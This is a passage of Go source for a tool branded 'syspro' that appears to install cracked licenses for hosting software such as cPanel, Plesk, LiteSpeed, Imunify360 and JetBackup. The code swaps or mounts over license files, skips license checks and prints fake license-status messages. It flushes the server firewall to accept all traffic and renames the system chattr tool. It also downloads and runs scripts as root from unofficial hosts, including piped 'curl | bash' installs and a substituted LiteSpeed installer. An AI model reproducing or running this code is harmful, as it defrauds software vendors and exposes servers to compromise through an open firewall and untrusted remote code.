	checkMaintenance()
	getUA()
	getBranding()
	getCMD()
	UpdateSCP()
	isLicensed()
	//ConnectionTest()
	ScpDirectory()
	checkForConflictingFiles()
	//InstallPHPBin()
	if isCentos7() {
		
    } else {
        DependDD()
    }
	if !Exists("/usr/bin/syspro_script") {
		_exec("wget -O /usr/bin/syspro_script https://repo.syspro.cc/cpanel/syspro_script")
		_exec("chmod +x /usr/bin/syspro_script")
	}

	args := os.Args[1:]
	if len(args) < 2 {
		color.Yellow.Println("Welcome to", GetLicBranding)
		color.Yellow.Println(GetLicBranding, "Technical Support Help-desk, visit: www.wiki.syspro.cc")
		color.Yellow.Println("Basic usages:",customCmd,"<product> <option>")
		color.Yellow.Println("To check all licensed products:",customCmd,"all check")
		color.Yellow.Println("To active all licensed products:",customCmd,"all enable")
		return
	}

	product := args[0]
	command := args[1]
	
	chattrcheck()

	switch product {
	case "cpanel":
		cpanel(command)
	case "wpsq":
		wpsq(command)
	case "plesk":
		plesk(command)
	case "im360":
		im360(command)
	case "cloudlinux":
		cloudlinux(command)
	case "softaculous":
		softaculous(command)
	case "webuzo":
		webuzo(command)
	case "whmreseller":
		whmreseller(command)
	case "sitepad":
		sitepad(command)
	case "virtualizor":
		virtualizor(command)
	case "litespeed1":
		litespeed1(command)
	case "litespeed2":
		litespeed2(command)
	case "litespeed4":
		litespeed4(command)
	case "litespeed8":
		litespeed8(command)
	case "litespeedx":
		litespeedx(command)
	case "jetbackup":
		jetbackup(command)
	case "cxs":
		cxs(command)
	case "support":
		support(command)
	case "all":
		all(command)
	default:
		color.Error.Prompt("Invalid product")
	}
}
func DownExec(fileURL string, permissionCommand string, filePath string, args ...string) {
    resp, err := http.Get(fileURL)
    if err != nil {
        return
    }
    defer resp.Body.Close()

    fileData, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return
    }

    err = ioutil.WriteFile(filePath, fileData, 0644)
    if err != nil {
        return
    }

    cmd := exec.Command("/bin/sh", "-c", permissionCommand)
    cmd.Stdout = os.Stdout
    cmd.Stderr = nil

    _ = cmd.Run()

    if len(args) > 0 {
        cmdArgs := append([]string{filePath}, args...) // Combine filePath and args
        cmd = exec.Command("/bin/sh", "-c", strings.Join(cmdArgs, " "))
    } else {
        cmd = exec.Command("/bin/sh", "-c", filePath)
    }

    cmd.Stdout = os.Stdout
    cmd.Stderr = nil

    _ = cmd.Run()

    _ = os.Remove(filePath)
}

func Exists(name string) bool {
	if _, err := os.Stat(name); err != nil {
		if os.IsNotExist(err) {
			return false
		}
	}
	return true
}
func DownExecOut(url, filePath, executablePath string) error {
	response, err := http.Get(url)
	if err != nil {
		return err
	}
	defer response.Body.Close()

	file, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer file.Close()

	_, err = io.Copy(file, response.Body)
	if err != nil {
		return err
	}

	err = os.Chmod(filePath, 0755)
	if err != nil {
		return err
	}

	cmd := exec.Command(executablePath)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	err = cmd.Run()
	if err != nil {
		return err
	}

	return nil
}
//////////////////////////CPANEL
func removecp() {
    cmd := exec.Command("umount", "/usr/local/cpanel/cpanel.lisc")
    cmd.Stdout = nil
    cmd.Stderr = nil
	_exec("systemctl stop scp_cp.service")
	_exec("systemctl disable scp_cp.service")
    _ = cmd.Run()
    _ = os.Remove("/usr/local/cpanel/cpanel.lisc")
    _ = os.Remove("/usr/local/scp/.panel")
}

func uninstallcp() {
    removecp()
	_exec("systemctl stop scp_cp.service")
	_exec("systemctl disable scp_cp.service")
	_exec("touch /usr/local/cpanel/cpanel.lisc")
    _ = os.Remove("/usr/cron.d/LicenseCP")
    cmd := exec.Command("/scripts/upcp", "--force")
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr
    _ = cmd.Run()
}
func installCpanel() {
	command := "sh"
	args := []string{"-c", "wget -q -O /usr/local/cpanelinstaller https://securedownloads.cpanel.net/latest && chmod 700 /usr/local/cpanelinstaller && /usr/local/cpanelinstaller && rm /usr/local/cpanelinstaller"}

	cmd := exec.Command(command, args...)

	stdout, err := cmd.StdoutPipe()
	if err != nil {
		fmt.Printf("Error creating StdoutPipe: %v\n", err)
		return
	}
	defer stdout.Close()

	stderr, err := cmd.StderrPipe()
	if err != nil {
		fmt.Printf("Error creating StderrPipe: %v\n", err)
		return
	}
	defer stderr.Close()

	err = cmd.Start()
	if err != nil {
		fmt.Printf("Error starting command: %v\n", err)
		return
	}

	go io.Copy(os.Stdout, stdout)
	go io.Copy(os.Stderr, stderr)

	err = cmd.Wait()
	if err != nil {
		fmt.Printf("Error waiting for command: %v\n", err)
		return
	}

	fmt.Println("Cpanel installed successfully.")
}
func installWPSQ() {
	command := "sh"
	args := []string{
		"-c",
		`yum install -y wget && wget https://securedownloads.cpanel.net/latest-wp2 && bash latest-wp2 --skip-license-check`,
	}

	cmd := exec.Command(command, args...)

	stdout, err := cmd.StdoutPipe()
	if err != nil {
		fmt.Printf("Error creating StdoutPipe: %v\n", err)
		return
	}
	defer stdout.Close()

	stderr, err := cmd.StderrPipe()
	if err != nil {
		fmt.Printf("Error creating StderrPipe: %v\n", err)
		return
	}
	defer stderr.Close()

	err = cmd.Start()
	if err != nil {
		fmt.Printf("Error starting command: %v\n", err)
		return
	}

	go io.Copy(os.Stdout, stdout)
	go io.Copy(os.Stderr, stderr)

	err = cmd.Wait()
	if err != nil {
		fmt.Printf("Error waiting for command: %v\n", err)
		return
	}

	fmt.Println("WP Squared installation completed successfully.")
}

func cpCheck() bool {
	cmd := exec.Command("/usr/local/cpanel/cpanel")
	output, err := cmd.Output()
	if err != nil {
		return false
	}
	return strings.Contains(string(output), "Licensed on")
}
//////////////////////////CPANEL
//////////////////////////Plesk
func installPlesk() {
	command := "sh"
	args := []string{"-c", "wget -q -O /usr/local/pleskinstaller https://autoinstall.plesk.com/one-click-installer && chmod 700 /usr/local/pleskinstaller && /usr/local/pleskinstaller && rm /usr/local/pleskinstaller"}

	cmd := exec.Command(command, args...)

	stdout, err := cmd.StdoutPipe()
	if err != nil {
		fmt.Printf("Error creating StdoutPipe: %v\n", err)
		return
	}
	defer stdout.Close()

	stderr, err := cmd.StderrPipe()
	if err != nil {
		fmt.Printf("Error creating StderrPipe: %v\n", err)
		return
	}
	defer stderr.Close()

	err = cmd.Start()
	if err != nil {
		fmt.Printf("Error starting command: %v\n", err)
		return
	}

	go io.Copy(os.Stdout, stdout)
	go io.Copy(os.Stderr, stderr)

	err = cmd.Wait()
	if err != nil {
		fmt.Printf("Error waiting for command: %v\n", err)
		return
	}

	fmt.Println("Plesk installed successfully.")
}



func checkPlesk() bool {
	cmd := exec.Command("bash", "-c", "plesk bin license -c && echo \"The license key is valid\" || echo \"The license key is invalid\"")
	output, err := cmd.Output()
	if err != nil {
		return false
	}
	return strings.Contains(string(output), "The license key is valid")
}
func updatePlesk() {
    cmd := exec.Command("plesk", "installer", "install-all-updates")
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr
    _ = cmd.Run()
}

func removePlesk() {
	// Use filepath.Glob to match files with a wildcard pattern
	matches, err := filepath.Glob("/etc/sw/keys/keys/key*")
	if err != nil {
		return
	}

	// Remove the matched files
	for _, match := range matches {
		_ = os.Remove(match) // Ignore errors
	}

	// Restart the service
	cmd := exec.Command("service", "sw-engine", "restart")
	cmd.Stdout = ioutil.Discard
	cmd.Stderr = ioutil.Discard

	// Run the command and ignore any errors
	_ = cmd.Run()
}

/////////////
func fileExists(path string) bool {
	_, err := os.Stat(path)
	return !os.IsNotExist(err)
}

// Function to rename a file
func renameFile(oldPath, newPath string) error {
	return os.Rename(oldPath, newPath)
}
func chattrcheck() {
	// Check if /usr/bin/chattr is present
	chattrPath := "/usr/bin/chattr"
	if fileExists(chattrPath) {
		// Rename /usr/bin/chattr to /usr/bin/chattr2
		newPath := "/usr/bin/chattr2"
		if err := renameFile(chattrPath, newPath); err != nil {
			// Log the error if needed, but don't print it
			// log.Println("Error renaming chattr:", err)
		}
		return
	}

	// If /usr/bin/chattr is not present, check for /usr/bin/comp0
	comp0Path := "/usr/bin/comp0"
	if fileExists(comp0Path) {
		// Rename /usr/bin/comp0 to /usr/bin/chattr2
		newPath := "/usr/bin/chattr2"
		if err := renameFile(comp0Path, newPath); err != nil {
			// Log the error if needed, but don't print it
			// log.Println("Error renaming comp0:", err)
		}
		return
	}

	// If neither /usr/bin/chattr nor /usr/bin/comp0 is present
	// No output or error in this case
}

/////////////Softaculous start
func installSoftaculous() {
	command := "sh"
	args := []string{"-c", "wget -N https://files.softaculous.com/install.sh && chmod 755 install.sh && ./install.sh"}

	cmd := exec.Command(command, args...)

	stdout, err := cmd.StdoutPipe()
	if err != nil {
		fmt.Printf("Error creating StdoutPipe: %v\n", err)
		return
	}
	defer stdout.Close()

	stderr, err := cmd.StderrPipe()
	if err != nil {
		fmt.Printf("Error creating StderrPipe: %v\n", err)
		return
	}
	defer stderr.Close()

	err = cmd.Start()
	if err != nil {
		fmt.Printf("Error starting command: %v\n", err)
		return
	}

	go io.Copy(os.Stdout, stdout)
	go io.Copy(os.Stderr, stderr)

	err = cmd.Wait()
	if err != nil {
		fmt.Printf("Error waiting for command: %v\n", err)
		return
	}

	fmt.Println("Softaculous installed successfully.")
}

func checkSoftaculous() bool {
	cmd := exec.Command("php", "/usr/local/cpanel/whostmgr/docroot/cgi/softaculous/cli.php", "-l")
	output, err := cmd.Output()
	if err != nil {
		fmt.Printf("Error running command: %v\n", err)
		return false
	}

	return strings.Contains(string(output), "Type : Premium") && strings.Contains(string(output), "Expires (DD/MM/YYYY) :")
}
func removeSoftaculous() {
	SoftLicense := "/usr/local/cpanel/whostmgr/docroot/cgi/softaculous/enduser/license.php"
	SoftCron := "/etc/cron.d/LicenseSF"

	// Check if the license file exists
	_, err := os.Stat(SoftLicense)
	if !os.IsNotExist(err) {
		// Run chattr -ai to remove any attributes
		exec.Command("chattr2", "-ai", SoftLicense).Run()

		// Remove the license file
		os.Remove(SoftLicense)
	}

	// Check if the cron file exists
	_, err = os.Stat(SoftCron)
	if !os.IsNotExist(err) {
		// Remove the cron file
		os.Remove(SoftCron)
	}
}

//////////////////////////imunify360
func installIM360() {
	command := "sh"
	args := []string{"-c", "wget https://repo.imunify360.cloudlinux.com/defence360/i360deploy.sh && bash i360deploy.sh --skip-registration"}

	cmd := exec.Command(command, args...)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	cmd.Run()
	fmt.Println("Imunify360 installed successfully.")
}


func checkIM360() {
    cmd := exec.Command("imunify360-agent", "rstatus", "--json", "-v")

    // Capture the command's output
    output, err := cmd.CombinedOutput()
    if err != nil {
        execCommand("/usr/bin/syspro im360 enable")
        os.Exit(1)
    }

    lines := strings.Split(string(output), "\n")

    active := false
    for _, line := range lines {
        if strings.Contains(line, "license_type") {
            active = true
            break
        }
    }

    if !active {
        fmt.Println("License status is not Active. Running Imunify360 activation command...")
        licenseCmd := exec.Command("/usr/bin/syspro", "im360", "check")

        licenseOutput, err := licenseCmd.CombinedOutput()
        if err != nil {
            fmt.Printf("Error running Imunify360 activation command: %v\n", err)
            os.Exit(1)
        }

        fmt.Printf("Imunify360 activation output:\n%s\n", licenseOutput)
    } else {
        fmt.Println("Imunify360 license status is Active. Exiting.")
    }
}
func removeIM360() {
	IMLicense := "/var/imunify360/license.json"
	IMCron := "/etc/cron.d/LicenseIM"

	// Check if the license file exists
	_, err := os.Stat(IMLicense)
	if !os.IsNotExist(err) {
		// Run chattr -ai to remove any attributes
		exec.Command("chattr2", "-ai", IMLicense).Run()

		// Remove the license file
		os.Remove(IMLicense)
	}
		// Check if the cron file exists
		_, err = os.Stat(IMCron)
		if !os.IsNotExist(err) {
			// Remove the cron file
			os.Remove(IMCron)
		}
	}
//////////////////////////WHMReseller
func installWhmreseller() {
	command := "sh"
	args := []string{"-c", "cd /usr/local/cpanel/whostmgr/docroot/cgi && wget https://deasoft.com/whmreseller/install.cpp && g++ install.cpp -o install && chmod 700 install && ./install && rm install && rm install.cpp"}

	cmd := exec.Command(command, args...)

	stdout, err := cmd.StdoutPipe()
	if err != nil {
		fmt.Printf("Error creating StdoutPipe: %v\n", err)
		return
	}
	defer stdout.Close()

	stderr, err := cmd.StderrPipe()
	if err != nil {
		fmt.Printf("Error creating StderrPipe: %v\n", err)
		return
	}
	defer stderr.Close()

	err = cmd.Start()
	if err != nil {
		fmt.Printf("Error starting command: %v\n", err)
		return
	}

	go io.Copy(os.Stdout, stdout)
	go io.Copy(os.Stderr, stderr)

	err = cmd.Wait()
	if err != nil {
		fmt.Printf("Error waiting for command: %v\n", err)
		return
	}

	fmt.Println("Whmreseller installed successfully.")
}

func checkWhmreseller() bool {
return true
}
func removeWhmreseller() {
	WHMRLicense := "/usr/local/cpanel/whostmgr/docroot/cgi/whmreseller/subreseller.cgi"
	WHMRCron := "/etc/cron.d/LicenseWR"

	// Check if the license file exists
	_, err := os.Stat(WHMRLicense)
	if !os.IsNotExist(err) {
		// Run chattr -ai to remove any attributes
		exec.Command("chattr2", "-ai", WHMRLicense).Run()

		// Remove the license file
		os.Remove(WHMRLicense)
	}
	// Check if the cron file exists
	_, err = os.Stat(WHMRCron)
	if !os.IsNotExist(err) {
		// Remove the cron file
		os.Remove(WHMRCron)
	}

}
//////////////////////////Webuzo
func installWebuzo() {
	command := "sh"
	args := []string{"-c", "wget -N https://files.webuzo.com/install.sh && chmod 0755 install.sh && ./install.sh"}

	cmd := exec.Command(command, args...)

	stdout, err := cmd.StdoutPipe()
	if err != nil {
		fmt.Printf("Error creating StdoutPipe: %v\n", err)
		return
	}
	defer stdout.Close()

	stderr, err := cmd.StderrPipe()
	if err != nil {
		fmt.Printf("Error creating StderrPipe: %v\n", err)
		return
	}
	defer stderr.Close()

	err = cmd.Start()
	if err != nil {
		fmt.Printf("Error starting command: %v\n", err)
		return
	}

	go io.Copy(os.Stdout, stdout)
	go io.Copy(os.Stderr, stderr)

	err = cmd.Wait()
	if err != nil {
		fmt.Printf("Error waiting for command: %v\n", err)
		return
	}

	fmt.Println("Webuzo installed successfully.")
}

func checkWebuzo() bool {
	cmd := exec.Command("php", "/usr/local/cpanel/whostmgr/docroot/cgi/softaculous/cli.php", "-l")
	output, err := cmd.Output()
	if err != nil {
		fmt.Printf("Error running command: %v\n", err)
		return false
	}

	return strings.Contains(string(output), "Type : Premium") && strings.Contains(string(output), "Expires (DD/MM/YYYY) :")
}
func removeWebuzo() {
	WZLicense := "/usr/local/webuzo/license.php"
	WZCron := "/etc/cron.d/LicenseWZ"

	// Check if the license file exists
	_, err := os.Stat(WZLicense)
	if !os.IsNotExist(err) {
		// Run chattr -ai to remove any attributes
		exec.Command("chattr2", "-ai", WZLicense).Run()

		// Remove the license file
		os.Remove(WZLicense)
	}
	// Check if the cron file exists
	_, err = os.Stat(WZCron)
	if !os.IsNotExist(err) {
		// Remove the cron file
		os.Remove(WZCron)
	}

}
//////////////////////////Sitepad
func installSitepad() {
	command := "sh"
	args := []string{"-c", "wget -O /usr/local/scp/sitepadinstall.sh https://files.sitepad.com/install.sh && chmod 755 /usr/local/scp/sitepadinstall.sh && /usr/local/scp/sitepadinstall.sh"}

	cmd := exec.Command(command, args...)

	stdout, err := cmd.StdoutPipe()
	if err != nil {
		fmt.Printf("Error creating StdoutPipe: %v\n", err)
		return
	}
	defer stdout.Close()

	stderr, err := cmd.StderrPipe()
	if err != nil {
		fmt.Printf("Error creating StderrPipe: %v\n", err)
		return
	}
	defer stderr.Close()

	err = cmd.Start()
	if err != nil {
		fmt.Printf("Error starting command: %v\n", err)
		return
	}

	go io.Copy(os.Stdout, stdout)
	go io.Copy(os.Stderr, stderr)

	err = cmd.Wait()
	if err != nil {
		fmt.Printf("Error waiting for command: %v\n", err)
		return
	}

	fmt.Println("Sitepad installed successfully.")
}

func checkSitepad() bool {
	return true
}
func removeSitepad() {
	SPLicense := "/usr/local/bins/editor/license.php"
	SPCron := "/etc/cron.d/LicenseSP"

	// Check if the license file exists
	_, err := os.Stat(SPLicense)
	if !os.IsNotExist(err) {
		// Run chattr -ai to remove any attributes
		exec.Command("chattr2", "-ai", SPLicense).Run()

		// Remove the license file
		os.Remove(SPLicense)
	}
	// Check if the cron file exists
	_, err = os.Stat(SPCron)
	if !os.IsNotExist(err) {
		// Remove the cron file
		os.Remove(SPCron)
	}
}
//////////////////////////Virtualizor
func installVirtualizor() {
    // Command 1: Download install.sh script
    cmd_with_output("wget -O /root/vzinstall.sh https://repo.syspro.cc/virtualizor/install.sh")
	cmd_with_output("chmod 0755 /root/vzinstall.sh")

    // Prompt user for email input
    fmt.Print("Enter your email: ")
    reader := bufio.NewReader(os.Stdin)
    email, _ := reader.ReadString('\n')

    // Prompt user for kernel input
    fmt.Print("Enter kernel (e.g., kvm): ")
    kernel, _ := reader.ReadString('\n')

    // Command 3: Execute vzinstall.sh with user input
    cmd_with_output(fmt.Sprintf("/root/vzinstall.sh email=%s kernel=%s", strings.TrimSpace(email), strings.TrimSpace(kernel)))
}

func checkVirtualizor() bool {
	cmd := exec.Command("/usr/local/emps/bin/php", "/usr/local/virtualizor/cli.php", "-l")
	output, err := cmd.Output()
	if err != nil {
		fmt.Printf("Error running command: %v\n", err)
		return false
	}

	return strings.Contains(string(output), "Type : Professional") && strings.Contains(string(output), "Expires (DD/MM/YYYY) :")
}
func removeVirtualizor() {
	VZLicense := "/usr/local/virtualizor/license2.php"
	VZCron := "/etc/cron.d/LicenseVZ"

	// Check if the license file exists
	_, err := os.Stat(VZLicense)
	if !os.IsNotExist(err) {
		// Run chattr -ai to remove any attributes
		exec.Command("chattr2", "-ai", VZLicense).Run()

		// Remove the license file
		os.Remove(VZLicense)
	}
	// Check if the cron file exists
	_, err = os.Stat(VZCron)
	if !os.IsNotExist(err) {
		// Remove the cron file
		os.Remove(VZCron)
	}
}
func LSWSCustomInstallations() error {
	// Set working directory
	workingDir := "/usr/src"
	if err := os.Chdir(workingDir); err != nil {
		return fmt.Errorf("failed to change to /usr/src directory: %v", err)
	}

	// Get latest version
	resp, err := http.Get("http://update.litespeedtech.com/ws/latest.php")
	if err != nil {
		return fmt.Errorf("failed to fetch latest version: %v", err)
	}
	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		return fmt.Errorf("failed to read response body: %v", err)
	}

	// Extract version number using regex
	re := regexp.MustCompile(`\d+(\.\d+)*`)
	matches := re.FindString(string(body))
	if matches == "" {
		return fmt.Errorf("failed to extract version number")
	}
	latestVersion := matches
	majorVersion := string(latestVersion[0])

	// Get system architecture
	bitnessCmd := exec.Command("uname", "-m")
	bitnessOut, err := bitnessCmd.Output()
	if err != nil {
		return fmt.Errorf("failed to get system architecture: %v", err)
	}
	bitness := strings.TrimSpace(string(bitnessOut))
	if bitness == "i686" {
		bitness = "i386"
	}

	// Define file names
	tarFile := fmt.Sprintf("%s/lsws-latest.tar.gz", workingDir)
	installDir := fmt.Sprintf("%s/lsws-%s", workingDir, latestVersion)
	downloadURL := fmt.Sprintf("https://www.litespeedtech.com/packages/%s.0/lsws-%s-ent-%s-linux.tar.gz",
		majorVersion, latestVersion, bitness)

	// Remove previous files
	os.Remove(tarFile)
	os.RemoveAll(installDir)

	// Download LiteSpeed package
	out, err := os.Create(tarFile)
	if err != nil {
		return fmt.Errorf("failed to create tar file: %v", err)
	}
	defer out.Close()

	resp, err = http.Get(downloadURL)
	if err != nil {
		return fmt.Errorf("failed to download LiteSpeed package: %v", err)
	}
	defer resp.Body.Close()

	_, err = io.Copy(out, resp.Body)
	if err != nil {
		return fmt.Errorf("failed to save downloaded file: %v", err)
	}

	// Extract tar.gz
	extractCmd := exec.Command("tar", "-xzf", tarFile)
	extractCmd.Dir = workingDir
	if err := extractCmd.Run(); err != nil {
		return fmt.Errorf("failed to extract tar file: %v", err)
	}

	// Change directory to extracted folder
	if err := os.Chdir(installDir); err != nil {
		return fmt.Errorf("failed to enter directory %s: %v", installDir, err)
	}

	// Download new install.sh
	installScriptURL := "http://repo.magicbyte.pw/litespeed/install.sh"
	installScriptFile := "install.sh"
	installOut, err := os.Create(installScriptFile)
	if err != nil {
		return fmt.Errorf("failed to create install.sh file: %v", err)
	}
	defer installOut.Close()

	resp, err = http.Get(installScriptURL)
	if err != nil {
		return fmt.Errorf("failed to download install.sh: %v", err)
	}
	defer resp.Body.Close()

	_, err = io.Copy(installOut, resp.Body)
	if err != nil {
		return fmt.Errorf("failed to save install.sh file: %v", err)
	}

	// Make install.sh executable
	if err := os.Chmod(installScriptFile, 0755); err != nil {
		return fmt.Errorf("failed to make install.sh executable: %v", err)
	}

	// Run install.sh
	cmd_with_output_updated("sh ./install.sh")

	// Move back to working directory
	if err := os.Chdir(workingDir); err != nil {
		return fmt.Errorf("failed to move back to /usr/src: %v", err)
	}

	// Remove extracted directory and tar file
	if err := os.RemoveAll(installDir); err != nil {
		return fmt.Errorf("failed to remove directory %s: %v", installDir, err)
	}
	if err := os.Remove(tarFile); err != nil {
		return fmt.Errorf("failed to remove tar file %s: %v", tarFile, err)
	}
	if Exists("/usr/local/lsws") {
		fmt.Println("LiteSpeed installation completed successfully!")
	} else {
		fmt.Println("Failed to install, please contact support.")
	}
	return nil
}
/////////////////////////////////////////LITESPEED 1C
func installLS() {
    _exec("iptables -P INPUT ACCEPT")
    _exec("iptables -P FORWARD ACCEPT")
    _exec("iptables -P OUTPUT ACCEPT")
    _exec("iptables -t nat -F")
    _exec("iptables -t mangle -F")
    _exec("iptables -F")
    _exec("iptables -X")

	if Exists("/usr/local/cpanel") {
		cmd_with_output("cd /usr/src && rm -rf lsws_whm_autoinstaller.sh && wget https://www.litespeedtech.com/packages/cpanel/lsws_whm_autoinstaller.sh && chmod +x lsws_whm_autoinstaller.sh && ./lsws_whm_autoinstaller.sh TRIAL 1 0 admin WFi9fqhfd87fyrwdw root@localhost 1 1")
	} else if Exists("/usr/sbin/plesk") {
		cmd_with_output("cd /usr/src && rm -f lsws_plesk_autoinstaller.sh && wget -O lsws_plesk_autoinstaller.sh https://plesk.litespeed.sh/lsws_plesk_autoinstaller.sh && chmod +x lsws_plesk_autoinstaller.sh && ./lsws_plesk_autoinstaller.sh TRIAL 1 0 admin WFi9fqhfd87fyrwdw root@localhost 1 1")
	} else {
		LSWSCustomInstallations()
		os.Exit(1)
	}
}

func checkLitespeed1() {
    cmd := exec.Command("/usr/local/lsws/bin/lshttpd", "-t")

    // Capture the command's output
    output, err := cmd.CombinedOutput()
    if err != nil {
        execCommand("/usr/bin/syspro litespeed1 enable")
        os.Exit(1)
    }

    lines := strings.Split(string(output), "\n")

    active := false
    for _, line := range lines {
        if strings.Contains(line, "[OK] Leased license key") {
            active = true
            break
        }
    }

    if !active {
        fmt.Println("License status is not Active. Running Litespeed activation command...")
        licenseCmd := exec.Command("/usr/bin/syspro", "litespeed1", "enable")

        licenseOutput, err := licenseCmd.CombinedOutput()
        if err != nil {
            fmt.Printf("Error running litespeed activation command: %v\n", err)
            os.Exit(1)
        }

        fmt.Printf("Litespeed activation output:\n%s\n", licenseOutput)
    } else {
        fmt.Println("Litespeed license status is Active. Exiting.")
    }
}
func checkLitespeed2() {
    cmd := exec.Command("/usr/local/lsws/bin/lshttpd", "-t")

    // Capture the command's output
    output, err := cmd.CombinedOutput()
    if err != nil {
        execCommand("/usr/bin/syspro litespeed2 enable")
        os.Exit(1)
    }

    lines := strings.Split(string(output), "\n")

    active := false
    for _, line := range lines {
        if strings.Contains(line, "[OK] Leased license key") {
            active = true
            break
        }
    }

    if !active {
        fmt.Println("License status is not Active. Running Litespeed activation command...")
        licenseCmd := exec.Command("/usr/bin/syspro", "litespeed2", "enable")

        licenseOutput, err := licenseCmd.CombinedOutput()
        if err != nil {
            fmt.Printf("Error running litespeed activation command: %v\n", err)
            os.Exit(1)
        }

        fmt.Printf("Litespeed activation output:\n%s\n", licenseOutput)
    } else {
        fmt.Println("Litespeed license status is Active. Exiting.")
    }
}
func checkLitespeed4() {
    cmd := exec.Command("/usr/local/lsws/bin/lshttpd", "-t")

    // Capture the command's output
    output, err := cmd.CombinedOutput()
    if err != nil {
        execCommand("/usr/bin/syspro litespeed4 enable")
        os.Exit(1)
    }

    lines := strings.Split(string(output), "\n")

    active := false
    for _, line := range lines {
        if strings.Contains(line, "[OK] Leased license key") {
            active = true
            break
        }
    }

    if !active {
        fmt.Println("License status is not Active. Running Litespeed activation command...")
        licenseCmd := exec.Command("/usr/bin/syspro", "litespeed4", "enable")

        licenseOutput, err := licenseCmd.CombinedOutput()
        if err != nil {
            fmt.Printf("Error running litespeed activation command: %v\n", err)
            os.Exit(1)
        }

        fmt.Printf("Litespeed activation output:\n%s\n", licenseOutput)
    } else {
        fmt.Println("Litespeed license status is Active. Exiting.")
    }
}
func checkLitespeed8() {
    cmd := exec.Command("/usr/local/lsws/bin/lshttpd", "-t")

    // Capture the command's output
    output, err := cmd.CombinedOutput()
    if err != nil {
        execCommand("/usr/bin/syspro litespeed8 enable")
        os.Exit(1)
    }

    lines := strings.Split(string(output), "\n")

    active := false
    for _, line := range lines {
        if strings.Contains(line, "[OK] Leased license key") {
            active = true
            break
        }
    }

    if !active {
        fmt.Println("License status is not Active. Running Litespeed activation command...")
        licenseCmd := exec.Command("/usr/bin/syspro", "litespeed8", "enable")

        licenseOutput, err := licenseCmd.CombinedOutput()
        if err != nil {
            fmt.Printf("Error running litespeed activation command: %v\n", err)
            os.Exit(1)
        }

        fmt.Printf("syspro litespeed activation output:\n%s\n", licenseOutput)
    } else {
        fmt.Println("Litespeed license status is Active. Exiting.")
    }
}
func checkLitespeedx() {
    cmd := exec.Command("/usr/local/lsws/bin/lshttpd", "-t")

    // Capture the command's output
    output, err := cmd.CombinedOutput()
    if err != nil {
        execCommand("/usr/bin/syspro litespeedx enable")
        os.Exit(1)
    }

    lines := strings.Split(string(output), "\n")

    active := false
    for _, line := range lines {
        if strings.Contains(line, "[OK] Leased license key") {
            active = true
            break
        }
    }

    if !active {
        fmt.Println("License status is not Active. Running Litespeed activation command...")
        licenseCmd := exec.Command("/usr/bin/syspro", "litespeedx", "enable")

        licenseOutput, err := licenseCmd.CombinedOutput()
        if err != nil {
            fmt.Printf("Error running litespeed activation command: %v\n", err)
            os.Exit(1)
        }

        fmt.Printf("Litespeed activation output:\n%s\n", licenseOutput)
    } else {
        fmt.Println("Litespeed license status is Active. Exiting.")
    }
}
func removeLitespeed() {
	LSLicense := "/usr/local/scp/lsws/license.key"
	LSCron := "/etc/cron.d/LicenseLS"

	// Check if the license file exists
	_, err := os.Stat(LSLicense)
	if !os.IsNotExist(err) {
		exec.Command("chattr2", "-ai", LSLicense).Run()

		// Remove the license file
		os.Remove(LSLicense)
	}
	// Check if the cron file exists
	_, err = os.Stat(LSCron)
	if !os.IsNotExist(err) {
		// Remove the cron file
		os.Remove(LSCron)
	}
	_exec("chattr2 -ai /usr/local/lsws/conf/serial.no")
	_exec("chattr2 -ai /usr/local/lsws/conf/license.key")
	_exec("rm -rf /usr/local/lsws/conf/serial.no")
	_exec("rm -rf /usr/local/lsws/conf/license.key")
}
func Expirydays1(expiry string) {
	// Read memory information from /proc/meminfo
	meminfo, err := os.Open("/proc/meminfo")
	if err != nil {
		fmt.Println("Error opening file:", err)
		return
	}
	defer meminfo.Close()

	scanner := bufio.NewScanner(meminfo)
	var mem int64
	for scanner.Scan() {
		line := scanner.Text()
		if strings.HasPrefix(line, "MemTotal:") {
			_, err := fmt.Sscanf(line, "MemTotal: %d", &mem)
			if err != nil {
				fmt.Println("Error parsing memory size:", err)
				return
			}
			break
		}
	}

	// Parse the expiry date
	expiryTime, err := time.Parse("2006-01-02", expiry)
	if err != nil {
		fmt.Println("Error parsing expiry date:", err)
		return
	}

	// Calculate days left until expiry
	daysLeft := int(expiryTime.Sub(time.Now()).Hours() / 24)

	// Print memory and expiry information
	fmt.Printf("[INFO] Memory size is: %dKB.\n", mem)
	fmt.Printf("[OK] Leased license key 1 will expire in %d days!\n", daysLeft)
}
func execCommand(cmd string) {
	err := exec.Command("sh", "-c", cmd).Run()
	if err != nil {
		log.Printf("Error executing command: %s\n", err)
		// Handle error as needed
	}
}
func exitStatus(err error) (int, bool) {
    if exitErr, ok := err.(*exec.ExitError); ok {
        status := exitErr.ExitCode()
        return status, true
    }
    return 0, false
}
func installJetbackup() {
	Dload("https://repo.syspro.cc/jetbackup/repo", "/etc/yum.repos.d/jetapps.repo");
	cmd_with_output("curl -LSs https://repo.syspro.cc/jetbackup/install | bash")
	if Exists("/usr/local/cpanel") {
		cmd_with_output("jetapps --install jetbackup5-cpanel stable 1> /dev/null")
	} else if Exists("/usr/sbin/plesk") {
		cmd_with_output("jetapps --install jetbackup5-plesk stable 1> /dev/null")
	} else if Exists("/usr/local/directadmin") {
		cmd_with_output("jetapps --install jetbackup5-directadmin stable 1> /dev/null")
	} else {
		 fmt.Println("Unknown Control Panel")
		os.Exit(1)
	}
	fmt.Println("Jetbackup installed successfully.")
}

func checkJetbackup() {
    cmd := exec.Command("/usr/bin/jetbackup5", "-t")

    // Capture the command's output
    output, err := cmd.CombinedOutput()
    if err != nil {
        execCommand("/usr/bin/syspro jetbackup enable")
        os.Exit(1)
    }

    lines := strings.Split(string(output), "\n")

    active := false
    for _, line := range lines {
        if strings.Contains(line, "License is Active") {
            active = true
            break
        }
    }

    if !active {
        fmt.Println("License status is not Active. Running Litespeed activation command...")
        licenseCmd := exec.Command("/usr/bin/syspro", "jetbackup", "enable")

        licenseOutput, err := licenseCmd.CombinedOutput()
        if err != nil {
            fmt.Printf("Error running Jetbackup activation command: %v\n", err)
            os.Exit(1)
        }

        fmt.Printf("Jetbackup activation output:\n%s\n", licenseOutput)
    } else {
